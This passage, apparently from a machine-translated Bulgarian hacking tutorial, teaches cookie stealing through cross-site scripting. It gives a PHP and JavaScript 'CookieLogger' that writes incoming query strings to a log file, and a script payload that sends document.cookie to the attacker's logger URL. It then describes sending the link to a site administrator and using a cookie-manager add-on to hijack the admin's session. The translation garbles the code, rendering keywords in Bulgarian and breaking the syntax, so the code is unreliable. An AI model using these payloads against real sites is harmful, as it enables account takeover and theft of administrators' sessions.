       &#1082;&#1086;&#1076;,
       &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1080;,
       &#1080;&#1083;&#1080; &#1085;&#1077;&#1097;&#1086;
       &#1076;&#1088;&#1091;&#1075;&#1086;.
       &#1058;&#1072;&#1082;&#1072; &#1095;&#1077;
       &#1087;&#1088;&#1086;&#1076;&#1098;&#1083;&#1078;&#1072;&#1074;&#1072;&#1081;&#1090;&#1077;
       &#1085;&#1072;&#1087;&#1088;&#1077;&#1076; &#1080;
       &#1076;&#1072; &#1089;&#1077;
       &#1088;&#1077;&#1075;&#1080;&#1089;&#1090;&#1088;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1090;&#1091;&#1082;.
       
       &#1057;&#1077;&#1075;&#1072;, &#1089;&#1083;&#1077;&#1076;
       &#1082;&#1072;&#1090;&#1086; &#1089;&#1090;&#1077;
       &#1089;&#1098;&#1079;&#1076;&#1072;&#1083;&#1080;
       &#1074;&#1072;&#1096;&#1080;&#1103;
       &#1089;&#1072;&#1081;&#1090;,
       &#1086;&#1090;&#1080;&#1076;&#1077;&#1090;&#1077; &#1085;&#1072;
       &#1092;&#1072;&#1081;&#1083;&#1086;&#1074;&#1080;&#1103;
       &#1084;&#1077;&#1085;&#1080;&#1076;&#1078;&#1098;&#1088;.
       &#1057;&#1098;&#1079;&#1076;&#1072;&#1074;&#1072;&#1085;&#1077;
       &#1085;&#1072; &#1085;&#1086;&#1074;
       &#1092;&#1072;&#1081;&#1083;.
       &#1053;&#1072;&#1088;&#1077;&#1095;&#1077;&#1090;&#1077;
       &#1075;&#1086; "CookieLog.txt".
       &#1054;&#1089;&#1090;&#1072;&#1074;&#1077;&#1090;&#1077;
       &#1087;&#1088;&#1072;&#1079;&#1085;&#1086;
       &#1082;&#1086;&#1076;. &#1057;&#1077;&#1075;&#1072;,
       &#1076;&#1072; &#1089;&#1098;&#1079;&#1076;&#1072;&#1076;&#1077;
       &#1076;&#1088;&#1091;&#1075; &#1092;&#1072;&#1081;&#1083;
       &#1089;&#1083;&#1077;&#1076; &#1090;&#1086;&#1074;&#1072;,
       &#1085;&#1072;&#1088;&#1077;&#1095;&#1077;&#1085;&#1080;
       "CookieLogger.php". &#1042; CookieLogger.php,
       &#1085;&#1080;&#1077; &#1090;&#1088;&#1103;&#1073;&#1074;&#1072;
       &#1076;&#1072;
       &#1076;&#1086;&#1073;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1085;&#1103;&#1082;&#1072;&#1082;&#1098;&#1074;
       &#1082;&#1086;&#1076;, &#1090;&#1072;&#1082;&#1072;
       &#1095;&#1077; &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1088;&#1072;&#1097;&#1072;
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1080;,
       &#1082;&#1086;&#1080;&#1090;&#1086; &#1085;&#1080;&#1077;
       &#1076;&#1085;&#1077;&#1074;&#1085;&#1080;&#1082;, &#1074;
       &#1085;&#1072;&#1096;&#1080;&#1103; Cookie Log.
       &#1044;&#1086;&#1073;&#1072;&#1074;&#1080;
       &#1090;&#1086;&#1079;&#1080;
       &#1082;&#1086;&#1076;&#1077;&#1082;&#1089;, &#1074;
       &#1085;&#1077;&#1075;&#1086;
       (&#1055;&#1088;&#1086;&#1089;&#1090;&#1086; &#1089;&#1077;
       &#1091;&#1074;&#1077;&#1088;&#1077;&#1090;&#1077;,
       &#1080;&#1084;&#1077;&#1090;&#1086; &#1085;&#1072;
       &#1092;&#1072;&#1081;&#1083;&#1072; &#1080;&#1084;&#1072;. PHP,
       &#1079;&#1072;&#1097;&#1086;&#1090;&#1086; &#1074;
       &#1087;&#1088;&#1086;&#1090;&#1080;&#1074;&#1077;&#1085;
       &#1089;&#1083;&#1091;&#1095;&#1072;&#1081;
       &#1085;&#1103;&#1084;&#1072; &#1076;&#1072; &#1089;&#1077;
       &#1076;&#1074;&#1080;&#1078;&#1072;&#1090; &#1085;&#1072; PHP
       &#1082;&#1086;&#1076; (&#1082;&#1086;&#1077;&#1090;&#1086;
       &#1077; &#1086;&#1075;&#1088;&#1086;&#1084;&#1077;&#1085;
       &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;)).
       
       &#1050;&#1083;&#1080;&#1082;&#1085;&#1077;&#1090;&#1077;,
       &#1079;&#1072; &#1076;&#1072;
       &#1074;&#1080;&#1076;&#1080;&#1090;&#1077; Spoiler Code
       &#1057;&#1087;&#1086;&#1081;&#1083;&#1077;&#1088;
       
       <? PHP / *
       *
       &#1057;&#1098;&#1079;&#1076;&#1072;&#1076;&#1077;&#1085;&#1072;
       &#1085;&#1072; 16. &#1040;&#1087;&#1088;&#1080;&#1083;. 2007
       * &#1057;&#1098;&#1079;&#1076;&#1072;&#1076;&#1077;&#1085;
       &#1086;&#1090; Audun Larsen (audun@munio.no)
       *
       * Copyright 2006 Munio IT, Audun Larsen
       *
       * &#1058;&#1086;&#1079;&#1080;
       &#1089;&#1086;&#1092;&#1090;&#1091;&#1077;&#1088; &#1077;
       &#1055;&#1056;&#1045;&#1044;&#1054;&#1057;&#1058;&#1040;&#1042;&#1045;&#1053;&#1040;
       &#1054;&#1058; &#1040;&#1042;&#1058;&#1054;&#1056;&#1040; ``
       &#1050;&#1040;&#1050;&#1066;&#1042;&#1058;&#1054; &#1045;''
       &#1048; &#1080;&#1079;&#1088;&#1080;&#1095;&#1085;&#1086;
       &#1080;&#1083;&#1080;
       &#1084;&#1098;&#1083;&#1095;&#1072;&#1083;&#1080;&#1074;&#1086;
       &#1043;&#1040;&#1056;&#1040;&#1053;&#1062;&#1048;&#1048;,
       *
       &#1042;&#1050;&#1051;&#1070;&#1063;&#1048;&#1058;&#1045;&#1051;&#1053;&#1054;,
       &#1053;&#1054; &#1053;&#1045; &#1057;&#1040;&#1052;&#1054;,
       &#1043;&#1040;&#1056;&#1040;&#1053;&#1062;&#1048;&#1048;
       &#1047;&#1040; &#1043;&#1054;&#1044;&#1053;&#1054;&#1057;&#1058;
       * &#1047;&#1040;
       &#1054;&#1055;&#1056;&#1045;&#1044;&#1045;&#1051;&#1045;&#1053;&#1040;
       &#1062;&#1045;&#1051;. &#1042;
       &#1053;&#1048;&#1050;&#1040;&#1050;&#1066;&#1042;
       &#1057;&#1051;&#1059;&#1063;&#1040;&#1049;
       &#1089;&#1072;&#1084;&#1080;&#1103;
       &#1072;&#1074;&#1090;&#1086;&#1088; &#1080;&#1083;&#1080;
       &#1057;&#1066;&#1058;&#1056;&#1059;&#1044;&#1053;&#1048;&#1062;&#1048;
       &#1053;&#1045; &#1053;&#1054;&#1057;&#1071;&#1058;
       &#1054;&#1058;&#1043;&#1054;&#1042;&#1054;&#1056;&#1053;&#1054;&#1057;&#1058;
       * &#1047;&#1072; &#1087;&#1088;&#1077;&#1082;&#1080;,
       &#1082;&#1086;&#1089;&#1074;&#1077;&#1085;&#1080;,
       &#1089;&#1083;&#1091;&#1095;&#1072;&#1081;&#1085;&#1080;,
       &#1089;&#1087;&#1077;&#1094;&#1080;&#1072;&#1083;&#1085;&#1080;,
       &#1055;&#1056;&#1048;&#1052;&#1045;&#1056;&#1053;&#1048;
       &#1048;&#1051;&#1048;
       &#1055;&#1054;&#1057;&#1051;&#1045;&#1044;&#1042;&#1040;&#1065;&#1048;
       &#1065;&#1045;&#1058;&#1048;
       *
       (&#1042;&#1050;&#1051;&#1070;&#1063;&#1048;&#1058;&#1045;&#1051;&#1053;&#1054;,
       &#1053;&#1054; &#1053;&#1045; &#1057;&#1040;&#1052;&#1054;,
       &#1055;&#1054;&#1056;&#1066;&#1063;&#1050;&#1048; &#1053;&#1040;
       &#1056;&#1045;&#1047;&#1045;&#1056;&#1042;&#1053;&#1048;
       &#1063;&#1040;&#1057;&#1058;&#1048; &#1048;
       &#1059;&#1057;&#1051;&#1059;&#1043;&#1048;;
       &#1047;&#1040;&#1043;&#1059;&#1041;&#1048; &#1053;&#1040;
       &#1048;&#1047;&#1055;&#1054;&#1051;&#1047;&#1042;&#1040;&#1053;&#1045;,
       &#1044;&#1040;&#1053;&#1053;&#1048; &#1048;&#1051;&#1048;
       &#1055;&#1045;&#1063;&#1040;&#1051;&#1041;&#1048;;
       * &#1048;&#1051;&#1048;
       &#1055;&#1056;&#1045;&#1050;&#1066;&#1057;&#1042;&#1040;&#1053;&#1045;
       &#1053;&#1040;
       &#1056;&#1040;&#1041;&#1054;&#1058;&#1040;&#1058;&#1040;),
       &#1055;&#1056;&#1048;&#1063;&#1048;&#1053;&#1045;&#1053;&#1048;
       &#1080; &#1085;&#1072; &#1074;&#1089;&#1077;&#1082;&#1080;
       &#1058;&#1045;&#1054;&#1056;&#1048;&#1071; &#1053;&#1040;
       &#1054;&#1058;&#1043;&#1054;&#1042;&#1054;&#1056;&#1053;&#1054;&#1057;&#1058;,
       &#1053;&#1045;&#1047;&#1040;&#1042;&#1048;&#1057;&#1048;&#1052;&#1054;
       &#1044;&#1040;&#1051;&#1048; &#1055;&#1054;
       &#1044;&#1054;&#1043;&#1054;&#1042;&#1054;&#1056;,
       &#1054;&#1043;&#1056;&#1040;&#1053;&#1048;&#1063;&#1045;&#1053;&#1040;
       &#1054;&#1058;&#1043;&#1054;&#1042;&#1054;&#1056;&#1053;&#1054;&#1057;&#1058;,
       * OR &#1076;&#1077;&#1083;&#1080;&#1082;&#1090;
       (&#1074;&#1082;&#1083;&#1102;&#1095;&#1080;&#1090;&#1077;&#1083;&#1085;&#1086;
       &#1085;&#1077;&#1073;&#1088;&#1077;&#1078;&#1085;&#1086;&#1089;&#1090;
       &#1048;&#1051;&#1048; &#1044;&#1056;&#1059;&#1043;&#1054;),
       &#1055;&#1056;&#1054;&#1048;&#1047;&#1058;&#1048;&#1063;&#1040;&#1065;&#1048;
       &#1054;&#1058;
       &#1048;&#1047;&#1055;&#1054;&#1051;&#1047;&#1042;&#1040;&#1053;&#1045;&#1058;&#1054;
       &#1053;&#1040; &#1058;&#1054;&#1047;&#1048;
       &#1057;&#1054;&#1060;&#1058;&#1059;&#1045;&#1056;,
       * &#1044;&#1086;&#1088;&#1080; &#1072;&#1082;&#1086;
       &#1080;&#1084;&#1072;
       &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103;
       &#1079;&#1072;
       &#1074;&#1098;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1090;&#1072;
       &#1086;&#1090; &#1090;&#1072;&#1082;&#1080;&#1074;&#1072;
       &#1097;&#1077;&#1090;&#1080;.
       * /
       
       &#1072;&#1082;&#1086; (strlen ($ _SERVER &#91;'QUERY_STRING'])>
       0) {
       $ FP =
       F&#1054;&#1090;&#1074;&#1072;&#1088;&#1103;&#1085;&#1077;
       &#1085;&#1072; ("/ CookieLog.txt. ',' &#1040; ');
       
       &#1085;&#1077;&#1091;&#1089;&#1087;&#1077;&#1096;&#1085;&#1086;
       ($ FP, urldecode ($ _SERVER &#91;'QUERY_STRING']) "\ N".);
       
       &#1085;&#1077;&#1091;&#1089;&#1087;&#1077;&#1096;&#1085;&#1086;
       ($ &#1056;&#1055;);
       } {&#1044;&#1088;&#1091;&#1075;&#1086;
       >
       
  HTML VAR ownUrl = "http:// <PHP &#1077;&#1093;&#1086; $ _SERVER?
       &#91;'HTTP_HOST'];?> <? PHP &#1077;&#1093;&#1086; $ _SERVER
       &#91;'PHP_SELF'];?>";
       
       / / ==
       / /
       &#1055;&#1088;&#1077;&#1076;&#1074;&#1072;&#1088;&#1080;&#1090;&#1077;&#1083;&#1085;&#1086;
       &#1077; &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1083;
       &#1080; URLDecode
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080;
       / /
       / / Copyright Albion
       &#1080;&#1079;&#1089;&#1083;&#1077;&#1076;&#1074;&#1072;&#1085;&#1080;&#1103;
       &#1054;&#1054;&#1044; 2002
       / / Http://www.albionresearch.com/
       / /
       / / &#1052;&#1086;&#1078;&#1077;&#1090;&#1077; &#1076;&#1072;
       &#1082;&#1086;&#1087;&#1080;&#1088;&#1072;&#1090;&#1077;
       &#1090;&#1077;&#1079;&#1080;
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080;
       &#1087;&#1088;&#1080;
       &#1091;&#1089;&#1083;&#1086;&#1074;&#1080;&#1077;,
       &#1095;&#1077;
       / / (&#1040;) &#1074;&#1080; &#1076;&#1072;
       &#1086;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1090;&#1072;&#1079;&#1080;
       &#1072;&#1074;&#1090;&#1086;&#1088;&#1089;&#1082;&#1080;
       &#1087;&#1088;&#1072;&#1074;&#1072;
       &#1085;&#1077;&#1087;&#1086;&#1082;&#1098;&#1090;&#1085;&#1072;&#1090;&#1080;,
       &#1080;
       / / (B), &#1072;&#1082;&#1086;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1090;&#1077;
       &#1090;&#1077;&#1079;&#1080;
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; &#1085;&#1072;
       &#1076;&#1086;&#1089;&#1090;&#1098;&#1087;&#1085;&#1072;
       &#1079;&#1072;
       &#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1077;&#1085;&#1086;&#1089;&#1090;&#1090;&#1072;
       / / &#1059;&#1077;&#1073; &#1089;&#1072;&#1081;&#1090;,
       &#1082;&#1086;&#1081;&#1090;&#1086;
       &#1074;&#1082;&#1083;&#1102;&#1095;&#1074;&#1072;
       &#1082;&#1088;&#1077;&#1076;&#1080;&#1090;&#1085;&#1072;
       &#1085;&#1103;&#1082;&#1098;&#1076;&#1077; &#1085;&#1072;
       &#1091;&#1077;&#1073; &#1089;&#1072;&#1081;&#1090;
       / / &#1057; &#1083;&#1080;&#1085;&#1082; &#1082;&#1098;&#1084;
  HTML http://www.albionresearch.com/
       / /
       / / &#1040;&#1082;&#1086;
       &#1091;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1080;&#1090;&#1077;,
       &#1080;&#1083;&#1080; &#1076;&#1072;
       &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1080;
       &#1074;&#1089;&#1080;&#1095;&#1082;&#1080;
       &#1075;&#1088;&#1077;&#1096;&#1082;&#1080;,
       &#1084;&#1086;&#1083;&#1103; &#1076;&#1072; &#1085;&#1080;
       &#1091;&#1074;&#1077;&#1076;&#1086;&#1084;&#1080;&#1090;&#1077;
       &#1085;&#1072; albionresearch.com
       / /
       / / SpecialThanks &#1076;&#1086; Neelesh
       &#1058;&#1093;&#1072;&#1082;&#1091;&#1088; &#1079;&#1072;
       &#1090;&#1086;&#1074;&#1072;, &#1095;&#1077;
       &#1087;&#1098;&#1088;&#1074;&#1080;&#1103;&#1090;,
       &#1082;&#1086;&#1081;&#1090;&#1086;
       / /
       &#1044;&#1086;&#1082;&#1083;&#1072;&#1076;&#1074;&#1072;&#1090;&#1077;
       &#1079;&#1072; &#1075;&#1088;&#1077;&#1096;&#1082;&#1072;
       &#1074; URLDecode () - &#1089;&#1077;&#1075;&#1072;
       &#1092;&#1080;&#1082;&#1089;&#1080;&#1088;&#1072;&#1085;&#1080;
       02.19.2003.
       / / &#1048;
       &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1077;&#1085;&#1080;&#1077;
       &#1085;&#1072; &#1074;&#1089;&#1077;&#1082;&#1080;
       &#1076;&#1088;&#1091;&#1075;,
       &#1082;&#1086;&#1081;&#1090;&#1086; &#1077;
       &#1087;&#1088;&#1077;&#1076;&#1086;&#1089;&#1090;&#1072;&#1074;&#1080;&#1083;
       &#1082;&#1086;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;
       &#1080;
       &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103;.
       / / ==
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1103;
       &#1087;&#1088;&#1077;&#1076;&#1074;&#1072;&#1088;&#1080;&#1090;&#1077;&#1083;&#1085;&#1086;
       &#1077; &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1083; (STR)
       {
       / /
       &#1041;&#1103;&#1075;&#1089;&#1090;&#1074;&#1086;&#1090;&#1086;
       Javascript &#1080;
       &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; unescape
       &#1085;&#1077;
       &#1089;&#1098;&#1086;&#1090;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1072;&#1090;
       / / &#1057; &#1082;&#1072;&#1082;&#1074;&#1080;
       &#1073;&#1088;&#1072;&#1091;&#1079;&#1098;&#1088;&#1080;
       &#1074;&#1089;&#1098;&#1097;&#1085;&#1086;&#1089;&#1090;
       &#1087;&#1088;&#1072;&#1074;&#1103;&#1090; ...
       VAR SAFECHARS = "0123456789" + / /
       &#1062;&#1080;&#1092;&#1088;&#1086;&#1074;
       "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + / /
       &#1040;&#1079;&#1073;&#1091;&#1095;&#1085;&#1072;
       "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
       "-_ ~ * '().!"; / / RFC2396
       &#1052;&#1072;&#1088;&#1082;&#1080;&#1088;&#1072;&#1081;
       &#1075;&#1077;&#1088;&#1086;&#1080;
       VAR HEX = "0123456789ABCDEF";
       
       VAR &#1087;&#1088;&#1072;&#1074;
       &#1090;&#1077;&#1082;&#1089;&#1090; = &#1091;&#1083;.;
       VAR &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; = "";
       &#1079;&#1072; (VAR I = 0; &#1072;&#1079; <plaintext.length,
       &#1072;&#1079; + +) {
       VAR &#1057;&#1053; = plaintext.charAt (I);
       &#1072;&#1082;&#1086; (CH == "") {
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; +
       = "+"; / / X-WWW-urlencoded, &#1072; &#1085;&#1077; 20%
       } &#1048;&#1085;&#1072;&#1095;&#1077;,
       &#1072;&#1082;&#1086; (SAFECHARS.indexOf (&#1057;&#1053;)! = -1)
       {
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; +
       = &#1057;&#1053;;
       } {&#1044;&#1088;&#1091;&#1075;&#1086;
       VAR charCode = ch.charCodeAt (0);
       &#1072;&#1082;&#1086; (charCode> 255) {
       &#1089;&#1080;&#1075;&#1085;&#1072;&#1083;
       ("Unicode Character"
       + CH
       + "" &#1053;&#1077; &#1084;&#1086;&#1078;&#1077;
       &#1076;&#1072; &#1073;&#1098;&#1076;&#1077;
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085;,
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1081;&#1082;&#1080;
       &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1077;&#1085;
       URL &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085;&#1077;. \
       N "+
       "(URL
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085;&#1077;
       &#1087;&#1086;&#1076;&#1076;&#1098;&#1088;&#1078;&#1072;
       &#1089;&#1072;&#1084;&#1086;
       8-&#1073;&#1080;&#1090;&#1086;&#1074;&#1080;
       &#1089;&#1080;&#1084;&#1074;&#1086;&#1083;&#1080;.) \ N" +
       
       "&#1048;&#1085;&#1090;&#1077;&#1088;&#1074;&#1072;&#1083; (+)
       &#1097;&#1077; &#1073;&#1098;&#1076;&#1077;
       &#1079;&#1072;&#1084;&#1077;&#1089;&#1090;&#1077;&#1085;." );
       
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; + = "+";
       } {&#1044;&#1088;&#1091;&#1075;&#1086;
       
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; + = "%";
       
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; + = HEX.charAt
       ((charCode >> 4) &#1080; 0xF);
       
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085; + = HEX.charAt
       (charCode &#1080; 0xF);
       }
       }
       } / / &#1047;&#1072;
       
       &#1074;&#1098;&#1088;&#1085;&#1077;
       &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1085;;
       };
       
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1072;
       =
       &#1087;&#1088;&#1077;&#1076;&#1074;&#1072;&#1088;&#1080;&#1090;&#1077;&#1083;&#1085;&#1086;
       &#1077; &#1082;&#1086;&#1076;&#1080;&#1088;&#1072;&#1083;
       (document.cookie);
       HTML = '<img src="'+ownUrl+'?'+cookie+'"> ";
       document.write (HTML);
       
       <? PHP
       }
       >
       
       &#1057;&#1077;&#1075;&#1072;,
       &#1082;&#1086;&#1075;&#1072;&#1090;&#1086;
       &#1080;&#1084;&#1072;&#1084;&#1077;
       &#1085;&#1072;&#1096;&#1080;&#1103;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090; Cookie Logger,
       &#1085;&#1080;&#1077; &#1084;&#1086;&#1078;&#1077;&#1084;
       &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1088;&#1072;&#1090;&#1080;&#1084;
       &#1085;&#1072; &#1076;&#1098;&#1088;&#1074;&#1072;&#1088;
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1072;
       &#1076;&#1086;&#1082;&#1086;&#1083;&#1082;&#1086;&#1090;&#1086;
       &#1085;&#1080; &#1077;
       &#1087;&#1088;&#1080;&#1103;&#1090;&#1077;&#1083;,
       &#1085;&#1072; Web-Admin :). &#1047;&#1072; &#1076;&#1072;
       &#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1090;&#1086;&#1074;&#1072;, &#1084;&#1086;&#1078;&#1077;
       &#1073;&#1080; &#1090;&#1088;&#1103;&#1073;&#1074;&#1072;
       &#1076;&#1072; &#1058;&#1080;&#1085;&#1080; &#1085;&#1072; URL.
       &#1048;&#1083;&#1080;, &#1072;&#1082;&#1086;
       &#1084;&#1086;&#1075;&#1072; &#1076;&#1072;
       &#1088;&#1072;&#1079;&#1073;&#1077;&#1088;&#1072;
       &#1082;&#1072;&#1082; &#1076;&#1072; &#1089;&#1077;
       &#1080;&#1079;&#1083;&#1098;&#1078;&#1077; URL,
       &#1082;&#1086;&#1081;&#1090;&#1086; &#1097;&#1077;
       &#1088;&#1072;&#1073;&#1086;&#1090;&#1080;
       &#1089;&#1098;&#1097;&#1086;.
       
       &#1053;&#1072;
       &#1084;&#1080;&#1085;&#1080;&#1072;&#1090;&#1102;&#1088;&#1085;&#1080;&#1103;
       &#1085;&#1072; URL &#1072;&#1076;&#1088;&#1077;&#1089;
  HTML http://www.spam.com/
       &#1080; &#1089;&#1098;&#1084;
       &#1089;&#1083;&#1086;&#1078;&#1080;&#1083; &#1074; URL.
       &#1053;&#1086;
       &#1079;&#1072;&#1076;&#1088;&#1098;&#1078;&#1090;&#1077;
       &#1077;&#1076;&#1080;&#1085;, &#1085;&#1080;&#1077;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1076;&#1086;&#1073;&#1072;&#1074;&#1080;&#1090;&#1077;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090; &#1074; XSS
       &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1090;&#1072;
       &#1085;&#1080;. &#1058;&#1086;&#1074;&#1072; &#1077;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;,
       &#1082;&#1086;&#1081;&#1090;&#1086; &#1097;&#1077;
       &#1079;&#1072;&#1087;&#1086;&#1095;&#1085;&#1077; &#1076;&#1072;
       &#1085;&#1080; Logging Cookie.
       
       <script> document.location =
       "
  HTML http://www.host.com/mysite/CookieLogger.php?cookie
       =" +
       document.cookie; </
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072;>
       
       &#1058;&#1072;&#1082;&#1072; &#1095;&#1077;,
       &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
       &#1076;&#1086;&#1073;&#1072;&#1074;&#1077;&#1090;&#1077;
       &#1090;&#1086;&#1079;&#1080;
       &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;,
       &#1089;&#1083;&#1077;&#1076; &#1082;&#1072;&#1090;&#1086; URL,
       &#1090;&#1086; &#1084;&#1072;&#1083;&#1082;&#1072;, &#1080;
       &#1075;&#1086;
       &#1080;&#1079;&#1087;&#1088;&#1072;&#1090;&#1077;&#1090;&#1077;
       &#1085;&#1072; &#1085;&#1072;&#1096;&#1072;&#1090;&#1072;
       Web-Admin, &#1089;&#1077;&#1075;&#1072;
       &#1090;&#1086;&#1074;&#1072; &#1084;&#1086;&#1078;&#1077;
       &#1076;&#1072; &#1086;&#1090;&#1085;&#1077;&#1084;&#1077;
       &#1080;&#1079;&#1074;&#1077;&#1089;&#1090;&#1085;&#1086;
       &#1074;&#1088;&#1077;&#1084;&#1077;, &#1079;&#1072;
       &#1076;&#1072; Admin
       &#1074;&#1089;&#1098;&#1097;&#1085;&#1086;&#1089;&#1090;
       &#1082;&#1083;&#1080;&#1082;&#1085;&#1077;&#1090;&#1077;
       &#1074;&#1098;&#1088;&#1093;&#1091; &#1085;&#1077;&#1103;.
       &#1055;&#1086;&#1085;&#1103;&#1082;&#1086;&#1075;&#1072;, Admin
       &#1085;&#1103;&#1084;&#1072; &#1076;&#1072;
       &#1097;&#1088;&#1072;&#1082;&#1085;&#1077;&#1090;&#1077;
       &#1074;&#1098;&#1088;&#1093;&#1091;
       &#1085;&#1077;&#1075;&#1086;, &#1090;&#1072;&#1082;&#1072;
       &#1095;&#1077; &#1072;&#1082;&#1086; &#1075;&#1086;
       &#1086;&#1090;&#1085;&#1077;&#1084;&#1072;
       &#1090;&#1074;&#1098;&#1088;&#1076;&#1077;
       &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1074;&#1088;&#1077;&#1084;&#1077;, &#1095;&#1077;
       &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
       &#1090;&#1088;&#1103;&#1073;&#1074;&#1072; &#1076;&#1072;
       &#1089;&#1077; &#1086;&#1090;&#1082;&#1072;&#1078;&#1072;&#1090;
       &#1080; &#1076;&#1072;
       &#1085;&#1072;&#1084;&#1077;&#1088;&#1080;
       &#1076;&#1088;&#1091;&#1075; &#1085;&#1072;&#1095;&#1080;&#1085;
       &#1076;&#1072; &#1075;&#1086;
       &#1077;&#1082;&#1089;&#1087;&#1083;&#1086;&#1072;&#1090;&#1080;&#1088;&#1072;.
       
       &#1057;&#1083;&#1077;&#1076; &#1082;&#1072;&#1090;&#1086;
       &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1077;
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1072;,
       &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1076;&#1072;
       &#1080;&#1079;&#1087;&#1086;&#1083;&#1079;&#1074;&#1072;&#1090;&#1077;
       "Cookie Manager" Firefox &#1040;&#1076;&#1086;&#1085;
       &#1079;&#1072;
       &#1084;&#1072;&#1085;&#1080;&#1087;&#1091;&#1083;&#1080;&#1088;&#1072;&#1085;&#1077;
       &#1080;
       &#1088;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1072;&#1085;&#1077;
       &#1085;&#1072;
       &#1073;&#1080;&#1089;&#1082;&#1074;&#1080;&#1090;&#1082;&#1080;,
       &#1079;&#1072; &#1076;&#1072;
       &#1084;&#1086;&#1078;&#1077;&#1090;&#1077;
       &#1086;&#1090;&#1074;&#1083;&#1080;&#1095;&#1072;&#1085;&#1077;
       &#1085;&#1072;
       &#1072;&#1076;&#1084;&#1080;&#1085;&#1080;&#1089;&#1090;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1090;&#1077;
       &#1089;&#1077;&#1089;&#1080;&#1103;.
       &#1053;&#1072;&#1084;&#1080;&#1088;&#1072;&#1084; Cookie
       &#1052;&#1077;&#1085;&#1080;&#1076;&#1078;&#1098;&#1088;
       &#1084;&#1085;&#1086;&#1075;&#1086;
       &#1087;&#1086;&#1083;&#1077;&#1079;&#1085;&#1086;
       &#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077;
       &#1079;&#1072; XSS, &#1085;&#1077;
       &#1079;&#1072;&#1073;&#1088;&#1072;&#1074;&#1103;&#1081;&#1090;&#1077;
       &#1076;&#1072; &#1075;&#1086;
       &#1080;&#1079;&#1090;&#1077;&#1075;&#1083;&#1080;&#1090;&#1077;.
       
       &#1054;&#1073;&#1077;&#1079;&#1086;&#1073;&#1088;&#1072;&#1079;&#1103;&#1074;&#1072;&#1085;&#1077;
       &#1054;&#1073;&#1077;&#1079;&#1086;&#1073;&#1088;&#1072;&#1079;&#1103;&#1074;&#1072;&#1085;&#1077;
       &#1077; &#1077;&#1076;&#1080;&#1085; &#1086;&#1090;
       &#1085;&#1072;&#1081;-&#1095;&#1077;&#1089;&#1090;&#1080;&#1090;&#1077;
       &#1085;&#1077;&#1097;&#1072;,
       &#1082;&#1086;&#1080;&#1090;&#1086;
       &#1093;&#1086;&#1088;&#1072;&#1090;&#1072;
       &#1086;&#1073;&#1080;&#1095;&#1072;&#1090; &#1076;&#1072;
       &#1087;&#1088;&#1072;&#1074;&#1103;&#1090;,
       &#1082;&#1086;&#1075;&#1072;&#1090;&#1086;
       &#1080;&#1084;&#1072;&#1090;
